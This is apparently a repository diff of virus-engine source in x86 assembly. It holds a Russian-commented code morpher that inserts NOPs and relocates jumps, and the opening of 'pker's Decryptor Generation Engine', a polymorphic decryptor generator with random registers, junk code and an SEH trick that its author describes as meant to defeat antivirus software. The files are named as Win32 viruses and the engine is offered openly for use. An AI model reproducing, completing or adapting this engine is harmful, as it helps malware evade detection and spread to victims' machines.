; Функция для подсчёта числа, куда должен указывать прыжок|
|
||||
; Пример: dwCurrentAddress - указывает на код |
|
||||
; |
|
||||
; 00000000: 74 30 JE imm8 |
|
||||
; эта функция высчитывает "imm8" |
|
||||
; в нашем примере imm8 = 00000000 + 30 + 2 = 00000032 |
|
||||
; т.е. |
|
||||
; 00000000 - Текущий адрес |
|
||||
; 30 - Параметр |
|
||||
; 2 - Длинна инструкции JE imm8 |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; 00000000: 74 30 JE 00000032 --. |
|
||||
; 00000002: | |
|
||||
; | |
|
||||
; 00000032: <-----° |
|
||||
; Это описание для "положительных" прыжков |
|
||||
; Для отрицательных, попробуйте разобрать сами |
|
||||
; там не сложно ;-) |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
|
||||
; IN dwCurrentAddress : текущий адрес предпологаемого прыжка |
|
||||
; OUT EAX : Адрес куда прыжок указывает |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
get_jump_address proc dwCurrentAddress : DWORD
|
||||
|
||||
push ecx
|
||||
push edi
|
||||
|
||||
mov edi, dwCurrentAddress
|
||||
mov al, byte ptr [edi]
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; XX imm8
|
||||
cmp al, 070h
|
||||
jl @F
|
||||
cmp al, 07Fh
|
||||
jna @_jump_imm8_
|
||||
|
||||
@@:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
cmp al, 0EBh
|
||||
je @_jump_uncond_imm8_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; 0F XX imm32
|
||||
cmp al, 00Fh
|
||||
jne @F
|
||||
mov ah, byte ptr [edi + 1]
|
||||
cmp ah, 080h
|
||||
jl @F
|
||||
cmp ah, 08Fh
|
||||
jna @_jump_imm32_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; JMP imm32
|
||||
cmp al, 0E9h
|
||||
je @_jump_uncond_imm32_
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; CALL
|
||||
cmp al, 0E8h
|
||||
je @_call_imm32_
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
jmp @_exit_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@_jump_imm8_:
|
||||
@_jump_uncond_imm8_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Короткие прыжки
|
||||
movzx eax, byte ptr [edi + 1]
|
||||
mov cl, al
|
||||
test cl, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_1
|
||||
add edi, eax
|
||||
add edi, 2
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_1:
|
||||
neg al
|
||||
sub al, 2
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
|
||||
@_jump_imm32_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Длинные прыжки
|
||||
mov eax, dword ptr [edi + 2]
|
||||
mov ecx, eax
|
||||
shr ecx, 24d
|
||||
test ecx, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_2
|
||||
add eax, edi
|
||||
add eax, 6
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_2:
|
||||
neg eax
|
||||
sub eax, 6
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
@_jump_uncond_imm32_:
|
||||
@_call_imm32_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; JMP imm32 & CALL imm32
|
||||
mov eax, dword ptr [edi + 1]
|
||||
mov ecx, eax
|
||||
shr ecx, 24d
|
||||
test ecx, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_3
|
||||
add edi, eax
|
||||
add edi, 5
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_3:
|
||||
neg eax
|
||||
sub eax, 5
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
;///////////////////////////////////////
|
||||
@_exit_:
|
||||
|
||||
pop edi
|
||||
pop ecx
|
||||
|
||||
ret
|
||||
get_jump_address endp
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция для поиска в массиве описаний инструкций |
|
||||
; Нового адреса для прыжка.... |
|
||||
; |
|
||||
; IN dwAddress - Адрес прыжка |
|
||||
; IN pOpcodes - Указатель на массив с описаниями опкодов |
|
||||
; OUT EAX - Новый адрес прыжка... |
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
|
||||
push ecx
|
||||
|
||||
assume ecx : ptr _OPCODE
|
||||
mov ecx, pOpcodes
|
||||
mov eax, dwAddress
|
||||
|
||||
@@:
|
||||
cmp [ecx].dwOldAddress, eax
|
||||
je @F
|
||||
add ecx, sizeof _OPCODE
|
||||
cmp [ecx].dwOldAddress, 0
|
||||
jne @B
|
||||
xor eax, eax
|
||||
@@:
|
||||
mov eax, [ecx].dwNewAddress
|
||||
|
||||
pop ecx
|
||||
ret
|
||||
get_new_jump_address endp
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция разбавляет определённый код, инструкцией NOP |
|
||||
; ВАЖНО! Код должен заканчиваться опкодом 0CCh |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; IN dwCodeAddress - Адрес кода для морфинга |
|
||||
; IN dwOutputBuffer - Адрес куда будет занесён проморфленный код |
|
||||
; OUT EAX - Размер проморфленного кода |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD
|
||||
local pOpcodes : DWORD
|
||||
local dwTotalCodeSize : DWORD
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; pOpcodes - Указатель на описания опкодов ::
|
||||
; dwOutputBuffer - Проморфленный код ::
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Зарезервируем памяти для массива с описаниям инструкций
|
||||
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
|
||||
mov pOpcodes, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Обнулим переменную в которую будем заносить
|
||||
; Общий размер кода
|
||||
push 0
|
||||
pop dwTotalCodeSize
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::
|
||||
; Без комментариев
|
||||
assume ecx : ptr _OPCODE
|
||||
mov esi, dwCodeAddress ; Code Address
|
||||
mov edi, dwOutputBuffer ; New Code Address
|
||||
mov ecx, pOpcodes ; array of _OPCODES
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Первый этап :::::::::::::::::::::::::::
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Укажем для первой инструкции её новый адрес что в EDI
|
||||
mov [ecx].dwNewAddress, edi
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Начинаем цикл
|
||||
; Loop 1
|
||||
@_loop_1:
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Узнаем длинну у инструкции
|
||||
; IN ESI == Current Code Offset
|
||||
; OUT EAX == Instruction Length
|
||||
call c_Catchy
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Занесём данные в массив с описаниями
|
||||
mov [ecx].dwOldAddress, esi
|
||||
mov [ecx].dwLength, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Короткие условные прыжки меняем на длинные
|
||||
; Они отличаются от длинных префиксом 00Fh
|
||||
; в начале и +10h к текущему опкоду прыжка
|
||||
; Пример:
|
||||
; Было :00000000: 74 30
|
||||
; 0F +10 30 00 00 00
|
||||
; Стало:00000000: 0F 84 30 00 00 00
|
||||
cmp byte ptr [esi], 070h
|
||||
jl @F
|
||||
cmp byte ptr [esi], 07Fh
|
||||
ja @F
|
||||
push eax
|
||||
mov al, 00Fh
|
||||
stosb
|
||||
|
||||
movzx eax, byte ptr [esi]
|
||||
add eax, 10h
|
||||
stosd
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::
|
||||
; Подсчитаем адрес куда указывает прыжок
|
||||
push esi
|
||||
call get_jump_address
|
||||
|
||||
;::::::::::::::::::::::::
|
||||
; Занесём данные в массив
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
|
||||
pop eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Прибавим к общему размеру кода
|
||||
; Длинну 00Fh XXh imm32, т.е. число 6
|
||||
; где XX » [80h..8Fh]
|
||||
add dwTotalCodeSize, 6
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Пропустим перенос маленького прыжка
|
||||
; Переходим к следующей инструкции
|
||||
jmp @_next_inst_
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Меняем...
|
||||
; JMP imm8 -> JMP imm32
|
||||
; Пример
|
||||
; Было : 00000000: EB 33
|
||||
; Стало: 00000000: E9 33 00 00 00
|
||||
cmp byte ptr [esi], 0EBh
|
||||
jne @F
|
||||
push eax
|
||||
|
||||
mov al, 0E9h
|
||||
stosb
|
||||
xor eax, eax
|
||||
stosd
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::
|
||||
; Подсчитаем адрес куда указывает прыжок
|
||||
push esi
|
||||
call get_jump_address
|
||||
|
||||
;::::::::::::::::::::::::
|
||||
; Занесём данные в массив
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
|
||||
pop eax
|
||||
;:::::::::::::::::::::::::::::::
|
||||
; Прибавим к общему размеру кода
|
||||
; Длинну E9 imm32, т.е. число 5
|
||||
add dwTotalCodeSize, 5
|
||||
jmp @_next_inst_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Проверим на JMP imm32
|
||||
cmp byte ptr [esi], 0E9h
|
||||
jne @F
|
||||
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
jmp @_replace_instr_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Проверим на CALL
|
||||
cmp byte ptr [esi], 0E8h
|
||||
jne @F
|
||||
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
jmp @_replace_instr_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; 00Fh XX imm32
|
||||
cmp byte ptr [esi], 00Fh
|
||||
jne @F
|
||||
cmp byte ptr [esi + 1], 080h
|
||||
jl @F
|
||||
cmp byte ptr [esi + 1], 08Fh
|
||||
ja @F
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
|
||||
@_replace_instr_:
|
||||
;::::::::::::::::::::::::::::::::::::::::::
|
||||
; Переносим инструкцию в новый буффер.
|
||||
; Этот код выполниться в том случае
|
||||
; Если мы не меняли оригинальные инструкции
|
||||
push esi
|
||||
push ecx
|
||||
|
||||
mov ecx, eax
|
||||
rep movsb
|
||||
|
||||
pop ecx
|
||||
pop esi
|
||||
|
||||
; Добавим к общему размеру кода
|
||||
; длинну текущей инструкции
|
||||
add dwTotalCodeSize, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; сюда прыгаем если мы заменили текущую инструкцию на свою
|
||||
@_next_inst_:
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Разбавляем код инструкцией NOP
|
||||
; Тут можно разбавлять код
|
||||
; любыми "пустыми" инструкциями
|
||||
; вида:
|
||||
;--------------
|
||||
; push eax
|
||||
; pop eax
|
||||
;--------------
|
||||
; mov eax, eax
|
||||
;--------------
|
||||
; и т.д.
|
||||
push eax
|
||||
mov al, 90h
|
||||
stosb
|
||||
pop eax
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Увеличим общий размер кода на 1 (Длинна инструкции NOP)
|
||||
; Так же если будете добавлять свой "пустой" код
|
||||
; Нужно будет прибавить к dwTotalCodeSize его общую длинну(!)
|
||||
add dwTotalCodeSize, 1
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Перейдём к следующей инструкции
|
||||
add esi, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; перейдём к следующему элементу
|
||||
; в нашей таблице с описаниями опкодов
|
||||
add ecx, sizeof _OPCODE
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Заносим новый адрес у следующей инструкции
|
||||
mov [ecx].dwNewAddress, edi
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Доходим до int 3
|
||||
; Это значит что код закончился....
|
||||
; и следовательно нам тут делать уже нечего.
|
||||
cmp byte ptr [esi], 0CCh
|
||||
jne @_loop_1
|
||||
; End Loop 1
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Укажем что массив с описаниями закончился
|
||||
mov [ecx].dwOldAddress, 0
|
||||
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Второй этап :::::::::::::::::::::::::::
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
mov ecx, pOpcodes
|
||||
@_loop_2:
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Если инструкция является прыжком или вызовом
|
||||
; то dwJumpAddress != 0 (!)
|
||||
cmp [ecx].dwJumpAddress, 0
|
||||
je @F
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Получим новый адрес адрес куда должен
|
||||
; указывать прыжок или вызов
|
||||
push pOpcodes
|
||||
push [ecx].dwJumpAddress
|
||||
call get_new_jump_address
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Проверим результат на нуль.
|
||||
; По идее тут проверки быть не должно
|
||||
; ибо EAX (если весь код по адресу dwCodeAddress был корректным)
|
||||
; никогда не будет равняться нулю
|
||||
; и эти 2 строчки лишние, но мне захотелось
|
||||
; всётаки их написать :)))
|
||||
cmp eax, 0
|
||||
je @F
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::
|
||||
; Проверим адрес какой инструкции
|
||||
; нужно поменять на новый
|
||||
mov edx, [ecx].dwNewAddress
|
||||
;:::::::::::::::::::::::::
|
||||
; Длинные условные прыжки
|
||||
; 00Fh XXh imm32
|
||||
cmp byte ptr [edx], 00Fh
|
||||
je @_0F_XX_imm32
|
||||
;:::::::::::::::::::::::::::
|
||||
; Длинный безусловный прыжок
|
||||
; JMP imm32
|
||||
cmp byte ptr [edx], 0E9h
|
||||
je @_XXX_imm32_
|
||||
;::::::::::::::::::::::
|
||||
; Вызов (CALL imm32)
|
||||
cmp byte ptr [edx], 0E8h
|
||||
je @_XXX_imm32_
|
||||
;::::::::::::::::::::::
|
||||
jmp @F
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::
|
||||
; 00Fh XXh imm32
|
||||
; Нам нужно заменить есстественно imm32
|
||||
; что находится по смещению [АДРЕС ПРЫЖКА + 2]
|
||||
; Пример:
|
||||
; 00Fh 84 imm32 ; JE imm32
|
||||
; 00Fh 85 imm32 ; JNE imm32
|
||||
@_0F_XX_imm32:
|
||||
cmp eax, [ecx].dwNewAddress
|
||||
jle @_less_or_equal_1
|
||||
push eax
|
||||
sub eax, [ecx].dwNewAddress
|
||||
sub eax, 6
|
||||
mov edx, [ecx].dwNewAddress
|
||||
mov dword ptr [edx + 2], eax
|
||||
pop eax
|
||||
jmp @F
|
||||
|
||||
@_less_or_equal_1:
|
||||
push eax
|
||||
mov edx, [ecx].dwNewAddress
|
||||
sub edx, eax
|
||||
neg edx
|
||||
sub edx, 6
|
||||
mov eax, [ecx].dwNewAddress
|
||||
mov dword ptr [eax + 2], edx
|
||||
pop eax
|
||||
jmp @F
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Смещение imm32 в инструкциях JMP и CALL
|
||||
; одно и тоже, следовательно код обработки
|
||||
; нового адреса у них можно сделать одним
|
||||
; imm32 находится по смещению [АДРЕС ПРЫЖКА + 1]
|
||||
; Пример:
|
||||
; E9 imm32
|
||||
; E8 imm32
|
||||
; :)
|
||||
@_XXX_imm32_:
|
||||
cmp eax, [ecx].dwNewAddress
|
||||
jle @_less_or_equal_2
|
||||
push eax
|
||||
sub eax, [ecx].dwNewAddress
|
||||
sub eax, 5
|
||||
mov edx, [ecx].dwNewAddress
|
||||
mov dword ptr [edx + 1], eax
|
||||
pop eax
|
||||
jmp @F
|
||||
|
||||
@_less_or_equal_2:
|
||||
push eax
|
||||
mov edx, [ecx].dwNewAddress
|
||||
sub edx, eax
|
||||
neg edx
|
||||
sub edx, 5
|
||||
mov eax, [ecx].dwNewAddress
|
||||
mov dword ptr [eax + 1], edx
|
||||
pop eax
|
||||
jmp @F
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::
|
||||
; Перейдём к следующем описанию
|
||||
; Следующего опкода :)
|
||||
add ecx, sizeof _OPCODE
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Повторяем до тех пор пока
|
||||
; не наткнёмся на конец массива
|
||||
; На это указывает Нуль в dwOldAddress
|
||||
cmp [ecx].dwOldAddress, 0
|
||||
jne @_loop_2
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Освободим память что занимали
|
||||
invoke VirtualFree, pOpcodes, NULL, MEM_RELEASE
|
||||
|
||||
@_exit_:
|
||||
|
||||
mov eax, dwTotalCodeSize
|
||||
ret
|
||||
MorphCode endp
|
||||
|
||||
.data
|
||||
; Буфер куда занесём проморфленный код
|
||||
dwOutputBuffer dd 0
|
||||
|
||||
; Размер буфера
|
||||
dwOutputBufferSize dd 0
|
||||
|
||||
; Кол-во байт записанных в фаил
|
||||
dwBytesWritten dd 0
|
||||
|
||||
; Имя файлика в который запишем проморфленный код
|
||||
szFileName db 'morphed_code_dump_raw.bin',0
|
||||
|
||||
; Текст для MessageBoxA
|
||||
szComplete db 'Complete! :)', 0
|
||||
.code
|
||||
|
||||
start:
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Зарезервируем память для проморфленного кода
|
||||
; Размер можете выставить конечноже свой
|
||||
; Всё зависит от кол-ва кода что собираетесь Морфить
|
||||
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
|
||||
mov dwOutputBuffer, eax
|
||||
|
||||
;::::::::::::::::
|
||||
; Морфим код.....
|
||||
invoke MorphCode, offset test_code, dwOutputBuffer
|
||||
mov dwOutputBufferSize, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::
|
||||
; Дампим проморфленный код в фаил
|
||||
invoke CreateFile, offset szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
|
||||
push eax
|
||||
invoke WriteFile, eax, dwOutputBuffer, dwOutputBufferSize, addr dwBytesWritten, NULL
|
||||
call CloseHandle
|
||||
|
||||
;:::::::::::::::::
|
||||
; Освободим память
|
||||
invoke VirtualFree, dwOutputBuffer, NULL, MEM_RELEASE
|
||||
|
||||
;:::::::::::::::::
|
||||
; Мессадж :)
|
||||
invoke MessageBoxA, 0, offset szComplete, 0, MB_ICONINFORMATION
|
||||
|
||||
;:::::::::::::::::
|
||||
; Выход)
|
||||
xor eax, eax
|
||||
ret
|
||||
end start
|
||||
|
||||
; #########################################################################
|
1171
Engines/Virus.Win32.NBKPE.txt
Normal file
1171
Engines/Virus.Win32.NBKPE.txt
Normal file
File diff suppressed because it is too large
Load Diff
1922
Engines/Virus.Win32.Nazka.528
Normal file
1922
Engines/Virus.Win32.Nazka.528
Normal file
File diff suppressed because it is too large
Load Diff
928
Engines/Virus.Win32.Pker.inc
Normal file
928
Engines/Virus.Win32.Pker.inc
Normal file
@ -0,0 +1,928 @@
|
||||
;
|
||||
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
|
||||
; ======================================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; I wanted to code a polymorphic engine when I first started coding this. Then
|
||||
; I got the idea of generating decrypt code dynamically instead of morphing the
|
||||
; original decrypt code. The generated decryptor uses random registerz, with
|
||||
; junk code inserted, and it's instruction-permutable. When coding, I found
|
||||
; that the name 'decrypt generation engine' is more appropriate than a poly-
|
||||
; morphic engine, so I renamed it to PKDBE32.
|
||||
;
|
||||
; Generally, the decrypt code looks like the following:
|
||||
;
|
||||
; mov Rw,offset code2decrypt ; (1)
|
||||
; mov Rz,decrypt_size ; (2)
|
||||
; decrypt_loop: xor byte [Rw],imm8 ; (3)
|
||||
; inc Rw ; (4)
|
||||
; dec Rz ; (5)
|
||||
; jnz decrypt_loop ; (6)
|
||||
;
|
||||
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
|
||||
; this means the we can use random registerz in the decrypt code. The engine
|
||||
; can select random registerz to generate each instruction. Meanwhile, the
|
||||
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
|
||||
; tionz in a random order. Also, we know that some of the instructionz can be
|
||||
; replaced by other instructionz that performed the same. For example, we can
|
||||
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
|
||||
; will insert junk codez after each instructionz.
|
||||
;
|
||||
; One more thing, the engine setup a SEH frame before the decrypt code in order
|
||||
; to fuck some AVsoftz. And of course, there're also junk codez between these
|
||||
; instructionz.
|
||||
;
|
||||
; The SEH frame's like the following code:
|
||||
;
|
||||
; start: call setup_seh ; (1)
|
||||
; mov esp,[esp+8] ; (2)
|
||||
; jmp end_seh ; (3)
|
||||
; setup_seh: xor Rx,Rx ; (4)
|
||||
; push dword [fs:Rx] ; (5)
|
||||
; mov [fs:Rx],esp ; (6)
|
||||
; dec dword [Rx] ; (7)
|
||||
; jmp start ; (8)
|
||||
; end_seh: xor Ry,Ry ; (9)
|
||||
; pop dword [fs:Ry] ; (10)
|
||||
; pop Rz ; (11)
|
||||
;
|
||||
; Then comes the real decrypt code (generated by this engine).
|
||||
;
|
||||
;
|
||||
; How to use it?
|
||||
; --------------
|
||||
;
|
||||
; This engine can compile with FASM, TASM and MASM, etc.
|
||||
;
|
||||
; When using FASM we can:
|
||||
;
|
||||
; decryptor: times 40h db 90h
|
||||
; crypt_code: ...
|
||||
; crypted_size = $-crypt_code
|
||||
; rng_seed dd ?
|
||||
;
|
||||
; gen_decrytpor: mov edi,decryptor
|
||||
; mov esi,rng_seed
|
||||
; mov ebx,crypt_code
|
||||
; mov ecx,crypted_size
|
||||
; mov edx,9ah
|
||||
; call __pkdge32
|
||||
;
|
||||
; When using TASM or MASM we should:
|
||||
;
|
||||
; decryptor db 40h dup (90h)
|
||||
; crypt_code: ...
|
||||
; crypted_size = $-crypt_code
|
||||
; rng_seed dd ?
|
||||
;
|
||||
; gen_decrytpor: mov edi,offset decryptor
|
||||
; mov esi,offset rng_seed
|
||||
; mov ebx,offset crypt_code
|
||||
; mov ecx,crypted_size
|
||||
; mov edx,9ah
|
||||
; call __pkdge32
|
||||
;
|
||||
; One more feature, the engine returns the address of the code2decrypt field in
|
||||
; the decryptor, so we can fix this value after generating the decryptor. This
|
||||
; means we can replace the code which to be decrypt anywhere after generating
|
||||
; the decrypt code. We can replace our code which to be decrypted just after
|
||||
; the decryptor, without padding so many NOPz between them :P
|
||||
;
|
||||
; We could code like this:
|
||||
;
|
||||
; col_code: times crypted_size+200h db 0
|
||||
;
|
||||
; gen_decrytpor: mov edi,col_code
|
||||
; mov esi,rng_seed
|
||||
; mov ecx,crypted_size
|
||||
; mov ebx,12345678h
|
||||
; mov edx,12345678h
|
||||
; call __pkdge32
|
||||
; fix_address: mov esi,edi
|
||||
; xchg eax,edi
|
||||
; stosd
|
||||
; xchg esi,edi
|
||||
; copy_code: mov esi,crypt_code
|
||||
; mov ecx,crypted_size
|
||||
; rep movsb
|
||||
;
|
||||
; Well, enjoy it!
|
||||
;
|
||||
;
|
||||
; Copyright
|
||||
; ---------
|
||||
;
|
||||
; (c) 2004. No rightz reserved. Use without permission :P.
|
||||
;
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32 procedure
|
||||
; ===================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This is the main procedure of the engine. It controlz the whole generation
|
||||
; process, including SEH setup, instruction generation, junk code insertion,
|
||||
; etc.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; ecx --- decrypt buffer size (counter in bytez)
|
||||
; edx --- decrypt key
|
||||
; edi --- pointz to the buffer to save decryptor
|
||||
; ebx --- pointz to the buffer where saved the encrypted code
|
||||
; esi --- pointz to the RNG seed buffer
|
||||
;
|
||||
; Output:
|
||||
; edi --- the end of the decryptor
|
||||
; eax --- pointz to the address of the code which will be decrypted in
|
||||
; the decryptor, this means we can place the code which will be
|
||||
; decrypted anywhere by fixing the value pointed by EAX
|
||||
;
|
||||
|
||||
__pkdge32: pushad
|
||||
xor ebp,ebp
|
||||
xchg esi,edi ; initialize the RNG seed
|
||||
call __randomize ; ...
|
||||
xchg esi,edi ; ...
|
||||
|
||||
;
|
||||
; First, we select four random registerz for later use. These four registerz
|
||||
; are all different
|
||||
;
|
||||
|
||||
xor ebx,ebx ; used to save Rw, Rz, Rx, Ry
|
||||
call pkdg_sel_reg
|
||||
or bl,al
|
||||
call pkdg_sel_reg
|
||||
shl ebx,4
|
||||
or bl,al
|
||||
call pkdg_sel_reg
|
||||
shl ebx,4
|
||||
or bl,al
|
||||
call pkdg_sel_reg
|
||||
shl ebx,4
|
||||
or bl,al
|
||||
|
||||
;
|
||||
; We setup a SEH frame, then we raise an exception and run the following codez.
|
||||
; This action may fuck some of the AVsoftz.
|
||||
;
|
||||
|
||||
push edi
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0e8h ; seh instruction 1
|
||||
stosb ; ...
|
||||
stosd ; addr 1, no matter what, fix l8r
|
||||
push edi ; save addr1 to fix
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov eax,0824648bh ; seh instruction 2
|
||||
stosd ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0ebh ; seh instruction 3
|
||||
stosb ; ...
|
||||
stosb ; addr 2, no matter what, fix l8r
|
||||
push edi ; save addr2 to fix
|
||||
mov eax,[esp+4] ; fix addr1
|
||||
xchg edi,eax ; ...
|
||||
sub eax,edi ; ...
|
||||
sub edi,4 ; ...
|
||||
stosd ; ...
|
||||
add edi,eax ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov ah,bl ; seh instruction 4
|
||||
and ah,7 ; ...
|
||||
or eax,0c031h ; ...
|
||||
push ebx ; ...
|
||||
and ebx,7 ; ...
|
||||
shl ebx,11 ; ...
|
||||
or eax,ebx ; ...
|
||||
pop ebx ; ...
|
||||
stosw ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov eax,0ff64h ; seh instruction 5
|
||||
stosw ; ...
|
||||
mov al,bl ; ...
|
||||
and eax,7 ; ...
|
||||
or al,30h ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov eax,8964h ; seh instruction 6
|
||||
stosw ; ...
|
||||
mov al,bl ; ...
|
||||
and eax,7 ; ...
|
||||
or al,20h ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov ah,bl ; seh instruction 7
|
||||
and eax,700h ; ...
|
||||
or eax,08ffh ; ...
|
||||
stosw ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0ebh ; seh instruction 8
|
||||
stosb ; ...
|
||||
mov eax,[esp+8] ; ...
|
||||
sub eax,edi ; ...
|
||||
dec eax ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
pop eax ; fix addr2
|
||||
xchg eax,edi ; ...
|
||||
sub eax,edi ; ...
|
||||
dec edi ; ...
|
||||
